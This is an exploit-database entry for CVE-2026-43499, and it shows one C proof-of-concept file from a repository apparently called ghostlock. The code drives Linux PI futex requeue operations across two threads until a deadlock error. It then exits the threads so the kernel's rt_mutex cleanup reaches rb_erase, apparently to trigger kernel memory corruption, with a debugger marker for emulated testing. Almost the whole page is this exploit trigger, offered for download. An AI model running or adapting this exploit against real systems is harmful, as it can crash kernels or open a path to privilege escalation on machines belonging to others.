Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files148
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/glA/go30_exit.c

C · 2,753 bytes
/* go30_exit: exit cleanly to trigger do_exit -> rt_mutex cleanup -> rb_erase */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/futex.h>

#define P(...) do{ printf(__VA_ARGS__); fflush(stdout);}while(0)

#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif

static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, b_started, deadlock_seen;

static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
__attribute__((noinline)) void gdb_marker(void){ __asm__ __volatile__("bx lr"); }

static void *waiter_thread(void *arg){
    (void)arg;
    setresuid(1000,1000,1000); setresgid(1000,1000,1000);
    struct timespec now; struct { int32_t sec,nsec; } ts;
    a_tid=(int)syscall(SYS_gettid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.nsec=(int32_t)(ns%1000000000);
    long r=syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
    (void)r;
    gdb_marker();
    while(!deadlock_seen){ }
    /* exit cleanly to trigger do_exit cleanup */
    P("waiter exiting\n");
    syscall(SYS_exit_group,0);
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg;
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    (void)pi_lock(&f_pi_chain);
    /* exit cleanly */
    P("owner exiting\n");
    syscall(SYS_exit_group,0);
    return NULL;
}
int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    f_wait=f_pi_target=f_pi_chain=0;
    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,owner_thread,NULL); usleep(10000);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!b_started) usleep(1000);
    for(int i=0;i<400;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        if(r<0&&errno==35){ P("EDEADLK hit at i=%d\n",i); break; }
        if(r>0){ P("requeued %ld at i=%d\n",r,i); break; }
        usleep(1000);
    }
    if(errno!=35) P("no EDEADLK, errno=%d\n",errno);
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    /* wait for threads to exit, then main exits too */
    sleep(1);
    P("main exiting\n");
    syscall(SYS_exit_group,0);
    return 0;
}